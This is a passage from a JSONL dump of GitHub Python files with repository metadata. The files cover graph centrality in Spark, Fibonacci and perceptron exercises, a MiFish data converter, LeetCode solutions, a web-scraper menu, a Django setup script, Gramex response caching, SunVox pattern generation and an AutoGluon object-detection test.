graph for problem 2.\")\n\ngraph = sc.parallelize([('A','B'),('A','C'),('A','D'),\n\t('B','A'),('B','C'),('B','D'),('B','E'),\n\t('C','A'),('C','B'),('C','D'),('C','F'),('C','H'),\n\t('D','A'),('D','B'),('D','C'),('D','E'),('D','F'),('D','G'),\n\t('E','B'),('E','D'),('E','F'),('E','G'),\n\t('F','C'),('F','D'),('F','E'),('F','G'),('F','H'),\n\t('G','D'),('G','E'),('G','F'),\n\t('H','C'),('H','F'),('H','I'),\n\t('I','H'),('I','J'),\n\t('J','I')])\ne = sqlContext.createDataFrame(graph,['src','dst'])\nv = e.selectExpr('src as id').unionAll(e.selectExpr('dst as id')).distinct()\nprint(\"Generating GraphFrame.\")\ng = GraphFrame(v,e)\n\nprint(\"Calculating closeness.\")\ncloseness(g).sort('closeness',ascending=False).show()\ncloseness(g).sort('closeness',ascending=False).toPandas().to_csv(\"centrality_out.csv\")\n","repo_name":"justin830827/Data-Guided-Business-Intelligence","sub_path":"PROJECT Network Properties with Apache Spark/submitted/centrality.py","file_name":"centrality.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70670631735","text":"### naive fibonacci\n\ndef fibonacci_iter(n):\n    if n < 0:\n        raise ValueError('n must be >0')\n    elif n == 0:\n        return 0\n    elif n == 1:\n        return 1\n    else:\n        a = 0\n        b = 1\n        for i in range(n -1):\n            c = a + b\n            a = b\n            b = c\n        return b\n\nprint(\"iterative:\",fibonacci_iter(9))\n\n\n## recursive fibonacci\n\ndef fibonacci_rec(n):\n    if n < 0:\n        raise ValueError('n must be >0')\n    elif n == 0:\n        return 0\n    elif n == 1:\n        return 1\n    else:\n        return fibonacci_rec(n-1)+ fibonacci_rec(n-2)\n\nprint(\"Recursive:\", fibonacci_rec(9))\n\n# Мемоизация - это способ запоминания результатов функций, чтобы избежать повтороного вычисления тех же самых значений\n\ncache = {0:0, 1:1}\n\ndef fibonacci_mem(num):\n    #base case\n    if num in cache:\n        return cache[num]\n    #cache fib num\n    cache[num] = fibonacci_mem(num-1)+fibonacci_mem(num-2)\n    return cache[num]\n\nprint([fibonacci_mem(num) for num in range(12)])\n","repo_name":"nurrative/Advance-Python","sub_path":"recursion/fibonacci_example.py","file_name":"fibonacci_example.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"6792145582","text":"# perceptron.py\n# ---------------\n# Licensing Information:  You are free to use or extend this projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to the University of Illinois at Urbana-Champaign\n#\n# Created by Justin Lizama (jlizama2@illinois.edu) on 10/27/2018\n# Extended by Daniel Gonzales (dsgonza2@illinois.edu) on 3/11/2020\n\n\"\"\"\nThis is the main entry point for MP5. You should only modify code\nwithin this file -- the unrevised staff files will be used for all other\nfiles and classes when code is run, so be careful to not modify anything else.\n\ntrain_set - A Numpy array of 32x32x3 images of shape [7500, 3072].\n            This can be thought of as a list of 7500 vectors that are each\n            3072 dimensional.  We have 3072 dimensions because there are\n            each image is 32x32 and we have 3 color channels.\n            So 32*32*3 = 3072. RGB values have been scaled to range 0-1.\n\ntrain_labels - List of labels corresponding with images in train_set\nexample: Suppose I had two images [X1,X2] where X1 and X2 are 3072 dimensional vectors\n         and X1 is a picture of a dog and X2 is a picture of an airplane.\n         Then train_labels := [1,0] because X1 contains a picture of an animal\n         and X2 contains no animals in the picture.\n\ndev_set - A Numpy array of 32x32x3 images of shape [2500, 3072].\n          It is the same format as train_set\n\nreturn - a list containing predicted labels for dev_set\n\"\"\"\n\nimport numpy as np\n\ndef trainPerceptron(train_set, train_labels, learning_rate, max_iter):\n    shape = train_set.shape\n    sample_amount = shape[0]\n    weight = np.zeros(shape[1])\n    bias = 0\n    for j in range(0,max_iter):\n        for i in range(sample_amount):\n            train_sample = train_set[i]\n            multi = bias * 1.0 + np.dot(weight, train_sample)\n            if (multi <= 0 and train_labels[i] == 1):\n                weight += train_sample*learning_rate\n                bias += 1*learning_rate\n            elif (multi > 0 and train_labels[i] == 0):\n                weight -= train_sample*learning_rate\n                bias -= 1*learning_rate\n            else:\n                continue\n        \n    W = weight\n    b = bias\n    return W, b\n\ndef classifyPerceptron(train_set, train_labels, dev_set, learning_rate, max_iter):\n    # print(train_labels)\n    weight, bias = trainPerceptron(train_set, train_labels, learning_rate, max_iter)\n    # print(weight.size, type(bias))\n    shape = dev_set.shape\n    dev_label = [0]*shape[0]\n    # weight_ex = np.append(weight, bias)\n    # print(weight, bias)\n    for i in range(shape[0]):\n        dev_item = dev_set[i]\n        # dev_item_ex = np.append(dev_item, 1.0)\n        # print(dev_item_ex, weight_ex)\n        multi = bias + np.vdot(dev_item.T, weight)\n        if (multi <= 0):\n            dev_label[i] = 0\n        elif (multi > 0):\n            dev_label[i] = 1\n            \n    return dev_label","repo_name":"Dalei-Jiang/Machine-learning-assignment","sub_path":"Neural Nets/perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39594242132","text":"import pandas as pd\nimport csv\nimport os\n\n# Draft code for combining files\n\n# List of names of input files. For a list, separate each filename with a comma. The file names need to be in quotes\n# Example: input_files = [\"myfile1.xlsx\", \"myfile2.xlsx\", \"myfile3.xlsx\"]\ninput_files = [\"MiFish Output 797 - 801.xlsx\"]\n\n# Provide the name you want for the output .fasta file that you need for galaxy\nfasta_file = \"mifish797.fasta\"\n\n# Set the name of the information about the taxonomy\ntaxonomy_information = \"MiFish797_taxonomy.xlsx\"\n\n# Set the name of the output .tax file for galaxy\ntax_file = \"MiFish797.tax\"\n\n# Provide the name you want for the output .count file that you need for galaxy\ncount_file = \"mifish797.count_table\"\n\n# This section contains our functions (shouldn't need to edit)\n\ndef create_fasta(mifish_data, fasta_file):\n    namedSeq = dict()\n    with open(fasta_file, \"w\") as outfile:\n        for index, row in mifish_data.iterrows():\n            seqID = \"Seq\" + row[\"Sample name\"] + \"_\" + str(index)\n            seq = row[\"Sequence\"]\n            outfile.write(\">\" + seqID + \"\\n\" + seq + \"\\n\")\n            namedSeq[seq] = seqID\n    return(namedSeq)\n\ndef create_tax(namedData, tax_file, taxonomy_information):\n    if os.path.exists(taxonomy_information):\n        # Check if the taxonomic information in the file is filled in\n        mifish_tax = pd.read_excel(taxonomy_information, na_filter=True)\n        if mifish_tax[\"Phylum\"].isna().sum() > 0:\n            exit(\"Error: You still need to fill in the phylogenetic information in \" + taxonomy_information)\n\n        sequence_tax = dict()\n        # If the info is filled in, we can build our .tax file\n        for index, row in namedData.iterrows():\n            seqID = row[\"SeqID\"]\n            confidence = row[\"Confidence\"]\n            mifish_species = row[\"Species\"]\n            tax_row = mifish_tax[mifish_tax['Mifish species'] == mifish_species].values[0]\n            kingdom, phylum, pclass, order, family, genus, species, mifish_species = tax_row\n            tax_string = kingdom + \"(100);\" + phylum + \"(100);\" + pclass + \"(100);\" + order + \"(100);\"\n            if confidence == \"HIGH\":\n                tax_string += family + \"(100);\" + genus + \"(95);\" + species + \"(92);\"\n            elif confidence == \"MODERATE\":\n                tax_string += family + \"(97);\" + genus + \"(87);\" + species + \"(80);\"\n            elif confidence == \"LOW\":\n                tax_string += family + \"(92);\" + genus + \"(82);\" + species + \"(70);\"\n            else:\n                exit(\"Error! Confidence value not recognized: \" + confidence)\n\n            # Write the output to a file in .tax format\n            sequence_tax[seqID] = tax_string\n        taxDF = pd.DataFrame.from_dict(sequence_tax, orient=\"index\")\n        taxDF.to_csv(tax_file, sep=\"\\t\")\n\n\n# This section contains the code that runs when you run the script\n\n# First, create a list of all the Mifish output files we want to add to the analysis\ndf_list = [pd.read_excel(file) for file in input_files]\n\n# Concatenate the files together\nallData = pd.concat(df_list)\nallData = allData[allData[\"Sample name\"] != \"Sample name\"]\n\n# Make a fasta file of the unique sequences found and store the info in a dictionary\nuniqueSeqDF = allData.drop_duplicates(subset=['Sequence'])\nnamedSeq = pd.DataFrame.from_dict(create_fasta(uniqueSeqDF, fasta_file), orient=\"index\", columns=[\"SeqID\"])\n\n# Add the sequence names to the rest of the data\nnamedData = allData.join(pd.DataFrame(namedSeq), on = \"Sequence\")\n\n# Create the .tax file\ncreate_tax(namedData, tax_file, taxonomy_information)\n\n# Count how many times each sequence occurs per sample\ngroupedData = namedData.groupby(['Sample name', \"SeqID\"]).size()\ncountData = groupedData.to_frame(name = 'size').reset_index()\ncountData_dict = countData.to_dict()\n\n# The above contains all the data we need, but it's organized wrong. Here we can reorganize it\nreordered_dict = dict()\nfor index in range(0,len(countData.index)):\n    sample = countData_dict[\"Sample name\"][index]\n    sequence = countData_dict[\"SeqID\"][index]\n    value = countData_dict[\"size\"][index]\n\n    seq_dict = reordered_dict.get(sequence, {})\n    seq_dict[sample] = value\n    reordered_dict[sequence] = seq_dict\n\n# Now we can convert the reorganized data to a dataframe and fill in any missing values with 0\ncount_table = pd.DataFrame.from_dict(reordered_dict, orient = \"index\").fillna(0)\n\n# A count table also contains a row indicating the total number of times a sequence was observed.\n# Let's compute that and then add it to correct place (first column)\ncount_table[\"total\"] = count_table.sum(axis=1)\ncols = count_table.columns.tolist()\ncols = cols[-1:] + cols[:-1]\ncount_table = count_table[cols]\n\n# Finally, let's convert all of our totals to integers instead of floats (decimals), which is how they're formatted in\n# the Galaxy output\nfor col in cols:\n    count_table[col] = count_table[col].astype(int)\n\n# Last but not least, let's write the file!\ncount_table.index.name = \"Representative_Sequence\"\ncount_table.to_csv(count_file)\n","repo_name":"rando2/msy_mifish","sub_path":"2-generateMothurInputs.py","file_name":"2-generateMothurInputs.py","file_ext":"py","file_size_in_byte":5045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22973767778","text":"\neng = int(input())\nengroll = input().split()\nengroll = set(map(int, engroll))\n\nfre = int(input())\nfreroll = input().split()\nfreroll = set(map(int, freroll))\n\nif 0 < len(engroll) and len(freroll) < 1000:\n    intersec = engroll & freroll    # A.intersection(B)\n    print(len(intersec))","repo_name":"jaiminmakwana/Innomatics_Internship_APR_21","sub_path":"Task2-Python_Programming/Set_Intersection.py","file_name":"Set_Intersection.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2416508194","text":"# Definition for singly-linked list.\r\n# class ListNode:\r\n#     def __init__(self, x):\r\n#         self.val = x\r\n#         self.next = None\r\n\r\nclass Solution:\r\n    def getIntersectionNode(self, headA: ListNode, headB: ListNode) -> Optional[ListNode]:\r\n\r\n        # Traverse A then B. Or traverse B then A.\r\n        # Either way, there will be a loop at the start of the intersection.\r\n\r\n        head = headA\r\n\r\n        # Connect linked lists A and B.\r\n        while head.next:\r\n            head = head.next\r\n        head.next = headB\r\n\r\n        fast = slow = headA\r\n        while fast and fast.next:\r\n            slow, fast = slow.next, fast.next.next\r\n            if slow == fast:\r\n                fast = headA\r\n                while fast != slow:\r\n                    slow, fast = slow.next, fast.next\r\n                head.next = None\r\n                return slow\r\n\r\n        # No loop found\r\n        head.next = None\r\n        return None\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"riehseun/riehseun.github.io","sub_path":"leet150/leet160.py","file_name":"leet160.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"43896135857","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec  7 12:03:50 2020\r\n\r\n@author: bxz19\r\n\"\"\"\r\nimport scraping_motor\r\n\r\n\r\n\r\nclass TerminalMenu():\r\n    \r\n    \r\n    def __init__(self):\r\n        self.finnish = False\r\n\r\n        \r\n    def terminal_menu(self, menu, sod):\r\n            #This menu is to use this software from the terminal itself.\r\n            print(\"\\n\\nHi, welcome to this Web Scraper\")\r\n            print(\"Introduce the url of the web you would like to scrape:\", end = '')\r\n            url = input()\r\n            while not self.finnish:\r\n                try:\r\n                \r\n                    methods = [1, 2, 3, 4]\r\n                    print(\"\"\"\\n\\nThere are different types of scraping available\r\n                              1) Only images.\r\n                              2) All the text.\r\n                              3) The whole html file.\r\n                              4) Save everything.\r\n                    \\nWhat scraping method do you want to use?\"\"\")\r\n                    method = int(input())\r\n                    \r\n                    if not method in methods:\r\n                        print(\"\"\"\\n\\n\r\n    ##########################################################################\r\n    This is not an available option. Please select one of the offered options.\r\n    ##########################################################################\r\n    \\n\\n\"\"\")\r\n                        continue\r\n    \r\n                    \r\n                    scraping_motor.WebScraper().scraper(url, method, menu, sod)\r\n    \r\n                    \r\n    \r\n                    print('\\n')\r\n                    print(\"\\n\\nDo you want to scrap anything else from this website? (y/n)\", end = '')\r\n                    answer = str(input())\r\n                    \r\n                    if answer == 'n':\r\n                        print(\"\\nDo you want to scrap another web page? (y/n)\", end = '')\r\n                        answer = str(input())\r\n                        if(answer == 'n'):\r\n                            print(\"\\nClosing Terminal Menu.\")\r\n                            self.finnish = True\r\n                        else:\r\n                            print(\"Introduce the url of the web you would like to scrape:\", end = '')\r\n                            url = input()\r\n                        \r\n                    \r\n                except:\r\n                    print(\"\"\"\\n\\n\r\n    ####################\r\n    Somthing went wrong.\r\n    ####################\r\n    \\n\\n\"\"\")\r\n    \r\n    \r\n        \r\n        \r\n        \r\n","repo_name":"Xandri-Roca/Projecte","sub_path":"terminal_menu.py","file_name":"terminal_menu.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5046830458","text":"from src.pages.base_page import BasePage\n\n\nclass AuthorizeToDoApp(BasePage):\n    locators = {\n        \"authorize_header_title\": (\"xpath\", \"//h2[contains(@class,'text-center')]\"),\n        \"authorize_in_btn\": (\"xpath\", \"//button[contains(.,'Authorize')]\")\n    }\n\n    def is_login_header_login_displayed(self):\n        retrieved_header = self.authorize_header_title.get_text()\n        assert \"Authorize Todo App\" in retrieved_header\n\n    def click_authorize_btn(self):\n        self.authorize_in_btn.click()\n","repo_name":"khoinguyennick/PythonSelenium","sub_path":"src/pages/authorize_to_do_app.py","file_name":"authorize_to_do_app.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18674755041","text":"\"\"\"\nThere are 2N people a company is planning to interview. The cost of flying the i-th person to city A is costs[i][0], and the cost of flying the i-th person to city B is costs[i][1].\n\nReturn the minimum cost to fly every person to a city such that exactly N people arrive in each city.\n\n\n\nApproach--\n Think of this way...\n You're thinking of flying every person to city B but suddenly you're offerred a bonus/refund of (a-b) if you fly this person to city A\n \n You would want to keep this value negative and large since if it's positive you'll have to pay for it. \n\nHence sorting based on (a-b) works! \n\n\"\"\"\n\n\n        \nclass Solution:\n    def twoCitySchedCost(self, costs: List[List[int]]) -> int:\n        n=len(costs)\n        min_cost=0\n        new_costs=[(a,b,a-b) for a,b in costs]\n        new_costs=sorted(new_costs,key=lambda x:x[2])\n        idx=1\n        for cost_a,cost_b,_ in new_costs:\n            if(idx<=n//2):\n                #first n//2 would be flown to city A\n                #since i'll get the maximum possible refund\n                min_cost+=cost_a\n            else:\n                #next n//2 would be flown to city B\n                 min_cost+=cost_b\n            idx+=1\n            \n        \n        return min_cost\n        \n            \n        \n        ","repo_name":"thecodearrow/LeetCode-Python-Solutions","sub_path":"June 2020 LeetCode Challenge/Two City Scheduling.py","file_name":"Two City Scheduling.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"31641311016","text":"import os\nimport subprocess\nimport sys\n\nprint(\"Start Run Django Script. run_django.py\")\n\n# Get project name and virtual environment name from arguments\nproject_path = sys.argv[1]\nproject_name = sys.argv[2]\nmanage_path = os.path.join(project_path, \"manage.py\")\n\n# Apply migrations\nprint(\"Applying migrations...\")\nmigrate_result = subprocess.run([sys.executable, manage_path, \"migrate\"], capture_output=True)\nif migrate_result.returncode != 0:\n    print(f\"Error: Couldn't apply migrations. Return code: {migrate_result.returncode}\")\n    print(migrate_result.stderr.decode('utf-8'))\n    sys.exit(1)\n\n# Create super user\nprint(\"Creating superuser...\")\ntry:\n    subprocess.run([sys.executable, manage_path, \"createsuperuser\"], check=True)\nexcept subprocess.CalledProcessError as e:\n    print(f\"Error: Couldn't create superuser. Return code: {e.returncode}\")\n    print(e.stderr.decode('utf-8'))\n    sys.exit(1)","repo_name":"bosoud/django_api_auto","sub_path":"run_django.py","file_name":"run_django.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39014127489","text":"\n\ndef main(list1, list2):\n    nums = []\n    for num in list2: \n        if num in list1:\n            nums.append(num)\n    if len(nums) == 0:\n        return print(-1)\n\n    min_num = nums[0]\n    for num in nums:\n        if num <= min_num:\n            min_num = num \n    print(min_num)\n\n# RUNNING CODE \nn = int(input())\n\nfor x in range(n):\n    a, b = map(int, input().split())\n    arr1 = input().split(' ')\n    arr2 = input().split(' ')\n    main(arr1, arr2)\n\n","repo_name":"freddyvelarde/umsa-code","sub_path":"primer-semestre/juez-patito/1987.py","file_name":"1987.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3957135663","text":"'''\nFaça um programa para ler dois números inteiros A e B e informar se A é divisível por B.\n'''\n\nnumA = int(input(\"Informe um número inteiro A: \"))\nnumB = int(input(\"Informe o segundo númeiro inteiro B: \"))\n\nif (numA % numB) == 0:\n    print(\"A é divisivel por B! \")\n\nelse:\n    print(\"A não é divisivel por B! \")\n","repo_name":"samuelnovaiscavelho/logicaProgramacaoPython","sub_path":"Python Exercicios/Segunda Lista de Exercicios/lista3/Ex06.py","file_name":"Ex06.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31686150709","text":"'''\nThe CacheFile object exposes a get, wrap and close interface to handlers.\n\n- `.get()` reads all data against the key\n- `.wrap(handler)` is used to wrap the `.write()` method to append into a\n  write queue, and the `.on_finish()` method to save the result.\n\nEach type of store has a separate CacheFile. (MemoryCacheFile, DiskCacheFile,\netc.) The parent CacheFile implements the no-caching behaviour.\n\nSee gramex.handlers.BaseHandler for examples on how to use these objects.\n'''\n# B403:import_public we only pickle Gramex internal objects\nimport pickle  # nosec B403\nfrom diskcache import Cache as DiskCache\nfrom .ttlcache import TTLCache as MemoryCache\nfrom .rediscache import RedisCache\nfrom gramex.config import app_log\nfrom gramex.http import OK, NOT_MODIFIED\n\n# HTTP Headers that should not be cached\nignore_headers = {\n    # Do not cache headers referenced anywhere in tornado.http1connection\n    'Content-Encoding',\n    'Vary',\n    'Transfer-Encoding',\n    'Expect',\n    'Keep-Alive',\n    'Connection',\n    'X-Consumed-Content-Encoding',\n    # Do not cache things that SHOULD or WILL be recomputed anyway\n    'Date',  # This is the current date, not the Last-Modified date\n    'Server',  # Always show Gramex/version\n    'Etag',  # Automatically added by Tornado\n    'Content-Length',  # Automatically added by Tornado\n}\n\n\ndef get_cachefile(store):\n    if isinstance(store, MemoryCache):\n        return MemoryCacheFile\n    elif isinstance(store, DiskCache):\n        return DiskCacheFile\n    elif isinstance(store, RedisCache):\n        return RedisCacheFile\n    else:\n        app_log.warning(f'cache: ignoring unknown store {store}')\n        return CacheFile\n\n\nclass CacheFile:\n    def __init__(self, key, store, handler, expire=None, statuses=None):\n        self.key = key\n        self.store = store\n        self.handler = handler\n        self.expire = expire\n        self.statuses = statuses\n\n    def get(self):\n        return None\n\n    def wrap(self, handler):\n        return handler\n\n\nclass MemoryCacheFile(CacheFile):\n    def get(self):\n        result = self.store.get(self.key)\n        # B301:pickle key is an internal state string and safe to pickle\n        return None if result is None else pickle.loads(result)  # nosec B301\n\n    def wrap(self, handler):\n        self._finish = handler.finish\n\n        def finish(chunk=None):\n            # Save the headers and body originally written\n            headers = [\n                [name, value]\n                for name, value in handler._headers.get_all()\n                if name not in ignore_headers\n            ]\n            body = b''.join(handler._write_buffer)\n\n            # Call the original finish\n            self._finish(chunk)\n\n            # Cache headers and body (only for allowed HTTP responses)\n            status = handler.get_status()\n            if status in self.statuses:\n                self.store.set(\n                    key=self.key,\n                    value=pickle.dumps(\n                        {\n                            'status': OK if status == NOT_MODIFIED else status,\n                            'headers': headers,\n                            'body': body,\n                        },\n                        pickle.HIGHEST_PROTOCOL,\n                    ),\n                    expire=self.expire,\n                )\n\n        handler.finish = finish\n\n\nclass DiskCacheFile(MemoryCacheFile):\n    '''Identical interface to MemoryCacheFile'''\n\n    pass\n\n\nclass RedisCacheFile(CacheFile):\n    def get(self):\n        return self.store.get(self.key)\n\n    def wrap(self, handler):\n        self._finish = handler.finish\n\n        def finish(chunk=None):\n            # Save the headers and body originally written\n            headers = [\n                [name, value]\n                for name, value in handler._headers.get_all()\n                if name not in ignore_headers\n            ]\n            body = b''.join(handler._write_buffer)\n\n            # Call the original finish\n            self._finish(chunk)\n\n            # Cache headers and body (only for allowed HTTP responses)\n            status = handler.get_status()\n            if status in self.statuses:\n                self.store.set(\n                    key=self.key,\n                    value={\n                        'status': OK if status == NOT_MODIFIED else status,\n                        'headers': headers,\n                        'body': body,\n                    },\n                    expire=self.expire,\n                )\n\n        handler.finish = finish\n","repo_name":"gramener/gramex","sub_path":"gramex/services/urlcache.py","file_name":"urlcache.py","file_ext":"py","file_size_in_byte":4521,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"22"}
+{"seq_id":"25977914219","text":"n=int(input())\r\ntn=0\r\nbr=0\r\nwhile(n>0):\r\n    zn=n%10\r\n    dn=(n//10)%10\r\n    if(zn==dn or zn==tn):\r\n        br+=1\r\n    n=n//10\r\n    tn=zn\r\nprint(br)","repo_name":"cakesandpyes/inforje","sub_path":"pored znamenke.py","file_name":"pored znamenke.py","file_ext":"py","file_size_in_byte":148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72080768696","text":"from octavox.core.model import SVNoteTrig, SVFXTrig, SVTrigs\n\nfrom octavox.core.project import SVProject\n\nfrom datetime import datetime\n\nimport os, random, yaml\n\nModules=yaml.safe_load(\"\"\"\n- name: Generator\n  class: rv.modules.analoggenerator.AnalogGenerator\n  defaults:\n    waveform: 3 # noise\n    attack: 0\n    sustain: 0\n    release: 0\n- name: Filter\n  class: rv.modules.filter.Filter\n  defaults:\n    type: 1 # HP\n    freq: 9000\n    resonance: 1350\n- name: Echo\n  class: rv.modules.echo.Echo\n  defaults:\n    dry: 256\n    wet: 64 # NB\n    delay: 144\n    delay_unit: 3 # tick\n- name: Reverb\n  class: rv.modules.reverb.Reverb\n  defaults:\n    wet: 4\n\"\"\")\n\nLinks=yaml.safe_load(\"\"\"\n- - Generator\n  - Filter\n- - Filter\n  - Echo\n- - Echo\n  - Reverb\n- - Reverb\n  - Output\n\"\"\")\n\ndef noise_hats(trigfn,\n               notefn,\n               nticks):\n    trigs=SVTrigs(nbeats=nticks)\n    for i in range(nticks):\n        if trigfn(i):\n            notes=notefn(i)\n            trigs+=notes\n    return trigs.tracks\n\ndef spawn_patches(nticks,\n                  nbeats,\n                  npatches):\n    def trigfn(i):\n        return (0 == i % nticks and\n                random.random() < 0.5)\n    def repeats(i, nticks):\n        return [[i],\n                [i],\n                [i],\n                [i],\n                [i, i+nticks/2],\n                [i, i+nticks/2],\n                [i+k for k in range(nticks)]]    \n    def flatten(lists):\n        flattened=[]\n        for l in lists:\n            flattened+=l\n        return flattened    \n    def notefn(i, note=96):\n        fxvalues=[\"0000\", random.choice([\"3000\", \"3000\", \"3000\", \"6000\"])]\n        if random.random() < 0.5:\n            fxvalues=list(reversed(fxvalues))\n        notes=[[SVNoteTrig(mod=\"Generator\",\n                           note=note,\n                           vel=random.random()*0.3+0.7,\n                           i=j),\n                SVFXTrig(target=\"Generator/attack\",\n                         value=int(fxvalues[0], 16),\n                         i=j),\n                SVFXTrig(target=\"Generator/release\",\n                         value=int(fxvalues[1], 16),\n                         i=j)]\n               for j in random.choice(repeats(i, nticks))]\n        return flatten(notes)\n    return [noise_hats(trigfn=trigfn,\n                       notefn=notefn,\n                       nticks=nbeats*nticks)\n            for i in range(npatches)]\n\nif __name__==\"__main__\":\n    try:\n        npatches, nbeats, nticks, bpm = 32, 16, 4, 120\n        patches=spawn_patches(npatches=npatches,\n                              nbeats=nbeats,\n                              nticks=nticks)\n        project=SVProject().render(patches=patches,\n                                   modconfig=Modules,\n                                   links=Links,\n                                   bpm=bpm*nticks)\n        if not os.path.exists(\"tmp/noisehats\"):\n            os.makedirs(\"tmp/noisehats\")\n        ts=datetime.utcnow().strftime(\"%Y-%m-%d-%H-%M-%S\")\n        destfilename=\"tmp/noisehats/%s.sunvox\" % ts\n        with open(destfilename, 'wb') as f:\n            project.write_to(f)\n    except RuntimeError as error:\n        print (\"ERROR: %s\" % str(error))\n","repo_name":"jhw/octavox","sub_path":"demos/noisehats.py","file_name":"noisehats.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25689271755","text":"class HashTable:\r\n    def __init__(self,size=7):\r\n        self.data_map = [None] * size\r\n    \r\n    def __hash(self,key):\r\n        '''assigns a address to the key'''\r\n        my_hash = 0\r\n        for letter in key:\r\n            my_hash = (my_hash + ord(letter) * 23) % len(self.data_map)\r\n        return my_hash \r\n    \r\n    def print_table(self):\r\n        '''prints the hash table'''\r\n        for i, val in enumerate(self.data_map):\r\n            print(i,\": \",val)\r\n\r\n    def set_item(self,key,value):\r\n        '''sets the item at the address in form of a list'''\r\n        index = self.__hash(key)\r\n        if self.data_map[index] is None:\r\n            self.data_map[index] = []\r\n        self.data_map[index].append([key,value])\r\n\r\n    def get_item(self,key):\r\n        '''gets the value of the key which is given as the parameter'''\r\n        index = self.__hash(key)\r\n        if self.data_map[index] is not None:\r\n            for i in range(len(self.data_map[index])):\r\n                if self.data_map[index][i][0] == key:\r\n                    return self.data_map[index][i][1]\r\n        return None\r\n\r\n    def keys(self):\r\n        '''prints all the keys of the hash table'''\r\n        all_keys = []\r\n        for i in range(len(self.data_map)):\r\n            if self.data_map[i] is not None:\r\n                for j in range(len(self.data_map[i])):\r\n                    all_keys.append(self.data_map[i][j][0])\r\n        return all_keys\r\n\r\nmy_hash_table = HashTable(size=10)\r\nmy_hash_table.set_item(\"nails\", 200)\r\nmy_hash_table.set_item(\"washers\", 70)\r\nmy_hash_table.print_table()\r\nprint(my_hash_table.keys())\r\nprint(my_hash_table.get_item('adas'))","repo_name":"pranavgautam29/python-dsa","sub_path":"hash-tables.py","file_name":"hash-tables.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18969288691","text":"class CallDetail:\n    def __init__(self, phone_no, called_no, call_duration, call_type):\n        self.phone_no = phone_no\n        self.called_no = called_no\n        self.call_duration = call_duration\n        self.call_type = call_type\n\n    def details(self):\n        print(self.phone_no,'\\t', self.called_no,'\\t  ', self.call_duration,'\\t\\t', self.call_type)\n\nclass Util:\n    def __init__(self):\n        self.list_of_call_objects = None\n\n    def parse_customer(self, list_of_call_string):\n        #self.list_of_call_objects = []\n\n        print(\" Phone No\\t Called No\\tCall Duration\\tCall Type\")\n\n        for i in list_of_call_string:\n            phone_no, called_no, call_duration, call_type = map(str, i.split(\",\"))\n            self.list_of_call_objects.append([phone_no, called_no, call_duration, call_type])\n            call = CallDetail(phone_no, called_no, call_duration, call_type)\n            call.details()\n\ncall_1 = '9990000001,9330000001,23,STD'\ncall_2 = '9990000001,9330000002,54,Local'\ncall_3 = '9990000003,9330000003,6,ISD'\n\nut = Util()\n\nlist_of_call_string = [call_1, call_2, call_3]\nut.parse_customer(list_of_call_string)\n","repo_name":"Karkala-Gaurav-Prabhu/1BM17CS136","sub_path":"Telephone.py","file_name":"Telephone.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28310130685","text":"from autogluon.vision import ObjectDetector as Task\n\ndef test_task():\n    dataset = Task.Dataset.from_voc('https://autogluon.s3.amazonaws.com/datasets/tiny_motorbike.zip')\n    train_data, _, test_data = dataset.random_split()\n\n    detector = Task()\n    detector.fit(train_data, num_trials=1, hyperparameters={'batch_size': 4, 'epochs': 1})\n    test_result = detector.predict(test_data)\n    print('test result', test_result)\n    detector.save('detector.ag')\n    detector2 = Task.load('detector.ag')\n    fit_summary = detector2.fit_summary()\n    test_map = detector2.evaluate(test_data)\n    test_result2 = detector2.predict(test_data)\n    assert test_result2.equals(test_result)\n","repo_name":"submission001/anonymoussubmission_automl","sub_path":"autogluon/vision/tests/unittests/test_object_detection.py","file_name":"test_object_detection.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
